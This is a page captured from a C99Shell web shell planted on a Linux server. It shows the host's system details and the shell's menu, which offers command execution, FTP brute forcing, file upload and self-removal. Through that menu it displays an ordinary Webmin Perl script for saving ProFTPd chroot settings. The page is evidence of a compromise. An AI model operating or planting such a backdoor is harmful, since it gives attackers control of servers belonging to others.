!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     save_newchroot.cgi (1.5 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Save the list of ProFTPd chroot directories

require './virtual-server-lib.pl';
&can_edit_templates() || &error($text{'chroot_ecannot'});
&has_ftp_chroot() || &error($text{'chroot_esupport'});
&error_setup($text{'chroot_err'});
&ReadParse();

# Validate and store inputs
@chroots = ( );
for($i=0; defined($in{"all_$i"}); $i++) {
    next if (!$in{"enabled_$i"});
    $chroot = { };
    if (!$in{"all_$i"}) {
        $chroot->{'group'} = $in{"group_$i"};
        $chroot->{'neg'} = $in{"neg_$i"};
        }
    if ($in{"mode_$i"} == 2) {
        $chroot->{'dir'} = '/';
        }
    elsif ($in{"mode_$i"} == 1) {
        $chroot->{'dir'} = '~';
        }
    elsif ($in{"mode_$i"} == 3) {
        # A domain's home directory
        $chroot->{'group'} || &error(&text('chroot_egroup', $i+1));
        $chroot->{'neg'} && &error(&text('chroot_eneg', $i+1));
        $d = &get_domain_by("group", $chroot->{'group'}, "parent", "");
        $d || &error(&text('chroot_edom', $chroot->{'group'}));
        $chroot->{'dir'} = $d->{'home'};
        }
    elsif ($in{"mode_$i"} == 0) {
        # Other directory
        -d $in{"dir_$i"} ||
            $in{"dir_$i"} =~ /^\~\/\S+$/ ||
            &error(&text('chroot_edir', $i+1));
        $chroot->{'dir'} =  $in{"dir_$i"};
        }
    push(@chroots, $chroot);
    }

# Really save, and tell the user what is being done
&ui_print_unbuffered_header(undef, $text{'newchroot_title'}, "");

&obtain_lock_ftp();
&$first_print($text{'chroot_saving'});
&save_ftp_chroots(\@chroots);
&$second_print($text{'setup_done'});
&release_lock_ftp();

&run_post_actions();
&webmin_log("chroot");

&ui_print_footer("", $text{'index_return'});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--